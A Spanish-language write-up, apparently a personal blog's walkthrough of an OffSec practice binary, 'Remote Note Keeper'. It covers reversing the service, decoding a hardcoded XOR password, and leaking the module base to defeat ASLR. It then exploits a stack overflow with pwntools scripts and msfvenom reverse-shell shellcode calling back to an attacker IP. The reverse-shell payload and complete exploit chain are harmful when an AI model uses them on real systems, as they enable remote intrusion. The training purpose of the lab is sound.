xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



OffSec

Remote Note Keeper



Reversing


Al ejecutar el binario muestra que se ha creado un directorio llamado NOTES y que se inició un servidor en el puerto 1337 por lo que se deberia haber iniciado un listener

PS C:\Users\user\Desktop> .\RemoteNoteKeeper.exe
[*] Directory "NOTES" created or already exists.  
[+] Server listening on port 1337...

Al conectarnos al puerto tenemos varios comandos interesantes, con NOTE y un argumento podemos escribir un .txt con el argumento como contenido, con LIST podemos listar las notas .txt existentes y con READ y el indice podemos leerlas

❯ netcat 192.168.100.5 1337
  ___               _         _  _     _         _  __
 | _ \___ _ __  ___| |_ ___  | \| |___| |_ ___  | |/ /___ ___ _ __  ___ _ _
 |   / -_) '  \/ _ \  _/ -_) | .` / _ \  _/ -_) | ' </ -_) -_) '_ \/ -_) '_|  
 |_|_\___|_|_|_\___/\__\___| |_|\_\___/\__\___| |_|\_\___\___| .__/\___|_|
                                                             |_|

Available commands:
- NOTE <text>: This stores your input text as a note on the remote server
- READ <index>: This reads the specified note from the remote server
- LIST: This lists your notes
- EXIT: Leave the Remote Note Keeper Application

> NOTE AAAAAAAA

> LIST
Files in the Notes directory:
NOTE_1.txt

> READ 1
AAAAAAAA

>

Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg

Si miramos los detalles del módulo podemos ver que contiene la protección ASLR por lo que la dirección base del binario deberia cambiar después de cada reinicio

0:000> !py mona modules -m RemoteNoteKeeper.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules -m RemoteNoteKeeper.exe

[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules RemoteNoteKeeper.exe
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------  
 Module info :
----------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename
----------------------------------------------------------------------------------------------------------------------------  
 0x009b0000 | 0x009b7000 | 0x00007000 | True   | True    | True  | False |  False   | False  | -1.0- [RemoteNoteKeeper.exe]
----------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

Abrimos el programa en ida, La función main inicia llamando a una función que renombramos como notes y a una función server, las analizaremos después pero digamos que devuelve un descriptor, si es un descriptor válido salta al bloque de la izquierda que llama a la función accept para recibir una conexión entrante

La función notes es muy sencilla, llama a la función CreateDirectoryA para crear el directorio NOTES y muestra un mensaje que vimos en el inicio al ejecutar el programa

La función server inicia llamando a la función WSAStartup para inicializar winsock y luego llama a la función socket para crear un socket y este devuelve un descriptor

Ahora utiliza htons para darle formato al puerto 1337 y posteriormente llamar a bind y listen para ponerse en escucha de conexiones entrantes en ese puerto

Luego de llamar a accept si sale bien llama a la función beginthread para crear un hilo por cada conexión que ejecuta la función StartAddress pasandole el descriptor

La función StartAddress que recibe el descriptor inicia llamando a la función printf para mostrar en la consola la dirección y puerto de donde se recibió la conexión

Luego envia con send un prompt que es el caracter > y recibe un total de 0x1000 bytes a través de la función recv, esto lo almacena en un buffer y realiza un salto

Si el buffer es mayor a 0 muestra con printf que se se recibieron datos del cliente, luego compara los primeros 4 bytes del buffer con EXIT llamando a strncmp, si es igual salta a la linea roja de lo contrario a la verde, entonces seguimos la verde

Si no es EXIT compara los 4 bytes con LIST, nuevamente si es igual salta a la linea roja si no es igual compara los primeros 5 bytes con NOTE , si se cumple la primera comparación llama a una función que llamamos lister que ya sabemos que hace, si se cumple la segunda llama a annotator que será donde profundizaremos

La función annotator inicia definiendo el inicio, el final y el tamaño, luego compara el tamaño con 0xfff o 4095, si es menor o igual saltará al bloque de la linea verde

En el bloque llama a memcpy que lo que hace es copiar el contenido de la nota en el buffer en ebp - 4076, luego de eso lo guarda en un archivo .txt, aqui tenemos la primera vulnerabilidad ya que el buffer soporta menos de los datos que se reciben

Volvemos a StartAddress, en el caso que los primeros 5 bytes sean iguales a DEBUG llama a la función strtok y posteriormente a auth pasandole como parámetro el argumento de DEBUG, si la comparación es correcta llama a la función leak

La función auth inicia estableciendo un array de valores que es la contraseña cifrada, además 3 caracteres que utiliza como key que corresponden a la string nop, además declara una variable password en 0 y algunas más renombradas

Luego inicia un bucle por cada uno de los valores del array, en cada iteración obbtiene el modulo i % 3 utilizando idiv y lo utiliza como un índice para tomar un caracter de la key, realiza una operación xor con el valor actual y el caractér correspondiente, finalmente almacena el resultado en un nuevo array al que llamaremos expected

Entonces podemos crear un script en python que itere en cada uno de los valores del array y realize el proceso xor sobre el carácter actual y la key en la posición del modulo de i % 3, al ejecutarlo nos muestra la contraseña original que podemos usar

#!/usr/bin/python3

password = [11, 23, 0, 93, 95, 65, 7, 28, 22, 27, 1]  
key = "nop"

expected = ""

for i in range(len(password)):
    character = chr(password[i] ^ ord(key[i % 3]))
    expected += character

print(expected)

❯ python3 decoder.py  
exp301isfun

Vamos con la función leak, esta crea un archivo DEBUG.txt y guarda un par de cosas como el nombre del equipo y nombre de usuario actuales que obtiene con funciones de winapi, en este caso con GetComputerNameA y GetUserNameA respectivamente

Luego obtiene el proceso actual con GetCurrentProcess y obtiene una lista de todos los módulos cargados en el proceso actual llamando a K32EnumProcessModules

Entonces, por cada uno de los módulos escribe en el archivo el nombre del módulo y su dirección base en el formato 0x%08X, esto sirve como un leak de la base del binario

Nos conectamos, utilizamos la función DEBUG pasandole la contraseña y una vez se creo el .txt podemos leer el archivo y de esta forma obtenemos un leak de la dirección base del binario que nos servirá para bypassear el ASLR que está activo

❯ netcat 192.168.100.5 1337
  ___               _         _  _     _         _  __
 | _ \___ _ __  ___| |_ ___  | \| |___| |_ ___  | |/ /___ ___ _ __  ___ _ _
 |   / -_) '  \/ _ \  _/ -_) | .` / _ \  _/ -_) | ' </ -_) -_) '_ \/ -_) '_|  
 |_|_\___|_|_|_\___/\__\___| |_|\_\___/\__\___| |_|\_\___\___| .__/\___|_|
                                                             |_|

Available commands:
- NOTE <text>: This stores your input text as a note on the remote server
- READ <index>: This reads the specified note from the remote server
- LIST: This lists your notes
- EXIT: Leave the Remote Note Keeper Application

> DEBUG exp301isfun

> LIST
Files in the Notes directory:
DEBUG.txt

> READ DEBUG
[*] Computer Name: WINDOWS
[*] User Name: user
[*] Loaded Modules:
    C:\Users\user\Desktop\RemoteNoteKeeper.exe (Base Address: 0x009B0000)
    C:\Windows\SYSTEM32\ntdll.dll (Base Address: 0x77870000)
    C:\Windows\System32\KERNEL32.DLL (Base Address: 0x75DC0000)
    C:\Windows\System32\KERNELBASE.dll (Base Address: 0x771F0000)
    C:\Windows\System32\ADVAPI32.dll (Base Address: 0x758B0000)
    C:\Windows\System32\msvcrt.dll (Base Address: 0x76600000)
    C:\Windows\System32\sechost.dll (Base Address: 0x776B0000)
    C:\Windows\System32\bcrypt.dll (Base Address: 0x75930000)
    C:\Windows\System32\RPCRT4.dll (Base Address: 0x754A0000)
    C:\Windows\System32\WS2_32.dll (Base Address: 0x76FD0000)
    C:\Windows\System32\ucrtbase.dll (Base Address: 0x77740000)
    C:\Windows\SYSTEM32\VCRUNTIME140.dll (Base Address: 0x75420000)
    C:\Windows\system32\mswsock.dll (Base Address: 0x72FC0000)
    C:\Windows\SYSTEM32\kernel.appcore.dll (Base Address: 0x73960000)
    C:\Windows\SYSTEM32\SspiCli.dll (Base Address: 0x739E0000)

>


Explotación


Iniciaremos nuestro exploit automatizando el proceso anterior en un script de python, de esta forma obtenemos la dirección base del binario que utilizaremos más adelante

#!/usr/bin/python3
from pwn import remote, log

shell = remote("192.168.100.5", 1337)
shell.sendlineafter(b"> ", b"DEBUG exp301isfun")
shell.sendlineafter(b"> ", b"READ DEBUG")

binary_base = int(shell.recvline_contains(b"RemoteNoteKeeper.exe")[-11:-1], 16)  
log.info(f"Binary base: {hex(binary_base)}")

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 1337: Done  
[*] Binary base: 0x9b0000
[*] Closed connection to 192.168.100.5 port 1337

Vamos con la vulnerabilidad real, en la función NOTE sabemos que hay un buffer overflow, enviamos 4076 A's para rellenar el buffer antes de ebp, 4 B's que será el valor de ebp en el leave y 4 C's que tomarán el valor del return address, finalmente algunas D's que se deberian almacenar en el stack si todo sale bien

#!/usr/bin/python3
from pwn import remote

shell = remote("192.168.100.5", 1337)  

payload  = b""
payload += b"NOTE "
payload += b"A" * 4076
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 48

shell.sendafter(b"> ", payload)

Enviamos el exploit pero encontramos un problema y aunque lo primero es correcto y tenemos el offset al return address, debido a la limitación de espacio en el stack solo encontramos 7 D's representadas en el stack que no es un espacio suficiente para guardar un shellcode en el stack y saltar a el con un gadget jmp esp o similar

0:000> g
(26b8.1fe8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00a47fb8 ecx=00dbdb48 edx=77844334 esi=009b1ce0 edi=00a47fb8  
eip=43434343 esp=00dbebb8 ebp=42424242 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
43434343 ??              ???

0:000> db esp
0158ed8c  44 44 44 44 44 44 44 45-20 41 41 41 41 41 41 41  DDDDDDDE AAAAAAA
0158ed9c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0158edac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0158edbc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0158edcc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0158eddc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0158edec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0158edfc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Lo interesante está cuando no sobrescribimos valores después del return address

#!/usr/bin/python3
from pwn import remote

shell = remote("192.168.100.5", 1337)  

payload  = b""
payload += b"NOTE "
payload += b"A" * 4076
payload += b"B" * 4
payload += b"C" * 4

shell.sendafter(b"> ", payload)

Cuando se corrompe el programa en el stack está almacenado un puntero al inicio del buffer, entonces podríamos ejecutar un gadget ret que ejecutará lo que esté en esa dirección y como apunta al inicio serian nuestras A's donde enviaremos un shellcode

0:000> g
(26b8.1fe8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00a47fb8 ecx=00dbdb48 edx=77844334 esi=009b1ce0 edi=00a47fb8  
eip=43434343 esp=00dbebb8 ebp=42424242 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
43434343 ??              ???

0:000> db poi(esp)
00dbebc1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00dbebd1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00dbebe1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00dbebf1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00dbec01  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00dbec11  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00dbec21  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00dbec31  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Para buscar el gadget podemos usar ropper indicando que la dirección base es 0 ya que tenemos el ASLR activo y necesitamos sumar la dirección base obtenida antes

❯ ropper --file RemoteNoteKeeper.exe --search "ret;" -I 0x0  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret;

[INFO] File: RemoteNoteKeeper.exe
0x00001009: ret;

Ya que tenemos la estratégia solo nos queda crear un shellcode con msfvenom, en este caso crearemos uno que nos envie una revshell en caso de que se ejecute

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\xcb\x6e\xb3\xbf\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x37\x86\x31\xbf\xc7\x57\x56\x49"
shellcode += b"\x22\x66\x56\x2d\x27\xd9\x66\x25\x65\xd6\x0d"
shellcode += b"\x6b\x9d\x6d\x63\xa4\x92\xc6\xce\x92\x9d\xd7"
shellcode += b"\x63\xe6\xbc\x5b\x7e\x3b\x1e\x65\xb1\x4e\x5f"
shellcode += b"\xa2\xac\xa3\x0d\x7b\xba\x16\xa1\x08\xf6\xaa"
shellcode += b"\x4a\x42\x16\xab\xaf\x13\x19\x9a\x7e\x2f\x40"
shellcode += b"\x3c\x81\xfc\xf8\x75\x99\xe1\xc5\xcc\x12\xd1"
shellcode += b"\xb2\xce\xf2\x2b\x3a\x7c\x3b\x84\xc9\x7c\x7c"
shellcode += b"\x23\x32\x0b\x74\x57\xcf\x0c\x43\x25\x0b\x98"
shellcode += b"\x57\x8d\xd8\x3a\xb3\x2f\x0c\xdc\x30\x23\xf9"
shellcode += b"\xaa\x1e\x20\xfc\x7f\x15\x5c\x75\x7e\xf9\xd4"
shellcode += b"\xcd\xa5\xdd\xbd\x96\xc4\x44\x18\x78\xf8\x96"
shellcode += b"\xc3\x25\x5c\xdd\xee\x32\xed\xbc\x66\xf6\xdc"
shellcode += b"\x3e\x77\x90\x57\x4d\x45\x3f\xcc\xd9\xe5\xc8"
shellcode += b"\xca\x1e\x09\xe3\xab\xb0\xf4\x0c\xcc\x99\x32"
shellcode += b"\x58\x9c\xb1\x93\xe1\x77\x41\x1b\x34\xd7\x11"
shellcode += b"\xb3\xe7\x98\xc1\x73\x58\x71\x0b\x7c\x87\x61"
shellcode += b"\x34\x56\xa0\x08\xcf\x31\x0f\x64\xab\x88\xe7"
shellcode += b"\x77\x33\x0a\x43\xfe\xd5\x66\xa3\x57\x4e\x1f"
shellcode += b"\x5a\xf2\x04\xbe\xa3\x28\x61\x80\x28\xdf\x96"
shellcode += b"\x4f\xd9\xaa\x84\x38\x29\xe1\xf6\xef\x36\xdf"
shellcode += b"\x9e\x6c\xa4\x84\x5e\xfa\xd5\x12\x09\xab\x28"
shellcode += b"\x6b\xdf\x41\x12\xc5\xfd\x9b\xc2\x2e\x45\x40"
shellcode += b"\x37\xb0\x44\x05\x03\x96\x56\xd3\x8c\x92\x02"
shellcode += b"\x8b\xda\x4c\xfc\x6d\xb5\x3e\x56\x24\x6a\xe9"
shellcode += b"\x3e\xb1\x40\x2a\x38\xbe\x8c\xdc\xa4\x0f\x79"
shellcode += b"\x99\xdb\xa0\xed\x2d\xa4\xdc\x8d\xd2\x7f\x65"
shellcode += b"\xbd\x98\xdd\xcc\x56\x45\xb4\x4c\x3b\x76\x63"
shellcode += b"\x92\x42\xf5\x81\x6b\xb1\xe5\xe0\x6e\xfd\xa1"
shellcode += b"\x19\x03\x6e\x44\x1d\xb0\x8f\x4d\x1d\x36\x70"
shellcode += b"\x6e"

El exploit inicia obteniendo la base del binario a través del leak con la función DEBUG, esto para evitar el ASLR, luego creará una nota con NOTE la cual inicia con el shellcode, luego rellena con A's hasta el offset del return address y en él ejecutará un ret que retornará al inicio del buffer donde ejecuta el shellcode de la revshell

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("192.168.100.5", 1337)
shell.sendlineafter(b"> ", b"DEBUG exp301isfun")
shell.sendlineafter(b"> ", b"READ DEBUG")

binary_base = int(shell.recvline_contains(b"RemoteNoteKeeper.exe")[-11:-1], 16)  

shellcode =  b""
shellcode += b"\xfc\xbb\xcb\x6e\xb3\xbf\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x37\x86\x31\xbf\xc7\x57\x56\x49"
shellcode += b"\x22\x66\x56\x2d\x27\xd9\x66\x25\x65\xd6\x0d"
shellcode += b"\x6b\x9d\x6d\x63\xa4\x92\xc6\xce\x92\x9d\xd7"
shellcode += b"\x63\xe6\xbc\x5b\x7e\x3b\x1e\x65\xb1\x4e\x5f"
shellcode += b"\xa2\xac\xa3\x0d\x7b\xba\x16\xa1\x08\xf6\xaa"
shellcode += b"\x4a\x42\x16\xab\xaf\x13\x19\x9a\x7e\x2f\x40"
shellcode += b"\x3c\x81\xfc\xf8\x75\x99\xe1\xc5\xcc\x12\xd1"
shellcode += b"\xb2\xce\xf2\x2b\x3a\x7c\x3b\x84\xc9\x7c\x7c"
shellcode += b"\x23\x32\x0b\x74\x57\xcf\x0c\x43\x25\x0b\x98"
shellcode += b"\x57\x8d\xd8\x3a\xb3\x2f\x0c\xdc\x30\x23\xf9"
shellcode += b"\xaa\x1e\x20\xfc\x7f\x15\x5c\x75\x7e\xf9\xd4"
shellcode += b"\xcd\xa5\xdd\xbd\x96\xc4\x44\x18\x78\xf8\x96"
shellcode += b"\xc3\x25\x5c\xdd\xee\x32\xed\xbc\x66\xf6\xdc"
shellcode += b"\x3e\x77\x90\x57\x4d\x45\x3f\xcc\xd9\xe5\xc8"
shellcode += b"\xca\x1e\x09\xe3\xab\xb0\xf4\x0c\xcc\x99\x32"
shellcode += b"\x58\x9c\xb1\x93\xe1\x77\x41\x1b\x34\xd7\x11"
shellcode += b"\xb3\xe7\x98\xc1\x73\x58\x71\x0b\x7c\x87\x61"
shellcode += b"\x34\x56\xa0\x08\xcf\x31\x0f\x64\xab\x88\xe7"
shellcode += b"\x77\x33\x0a\x43\xfe\xd5\x66\xa3\x57\x4e\x1f"
shellcode += b"\x5a\xf2\x04\xbe\xa3\x28\x61\x80\x28\xdf\x96"
shellcode += b"\x4f\xd9\xaa\x84\x38\x29\xe1\xf6\xef\x36\xdf"
shellcode += b"\x9e\x6c\xa4\x84\x5e\xfa\xd5\x12\x09\xab\x28"
shellcode += b"\x6b\xdf\x41\x12\xc5\xfd\x9b\xc2\x2e\x45\x40"
shellcode += b"\x37\xb0\x44\x05\x03\x96\x56\xd3\x8c\x92\x02"
shellcode += b"\x8b\xda\x4c\xfc\x6d\xb5\x3e\x56\x24\x6a\xe9"
shellcode += b"\x3e\xb1\x40\x2a\x38\xbe\x8c\xdc\xa4\x0f\x79"
shellcode += b"\x99\xdb\xa0\xed\x2d\xa4\xdc\x8d\xd2\x7f\x65"
shellcode += b"\xbd\x98\xdd\xcc\x56\x45\xb4\x4c\x3b\x76\x63"
shellcode += b"\x92\x42\xf5\x81\x6b\xb1\xe5\xe0\x6e\xfd\xa1"
shellcode += b"\x19\x03\x6e\x44\x1d\xb0\x8f\x4d\x1d\x36\x70"
shellcode += b"\x6e"

offset = 4080
junk = b"A" * (offset - len(shellcode))

payload  = b""
payload += b"NOTE "
payload += shellcode
payload += junk
payload += p32(binary_base + 0x1009) # ret;

shell.sendafter(b"> ", payload)

Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 1337: Done  
[*] Closed connection to 192.168.100.5 port 1337

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5 51565
Microsoft Windows [Versión 10.0.22621.4317]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\> whoami
windows\user
C:\>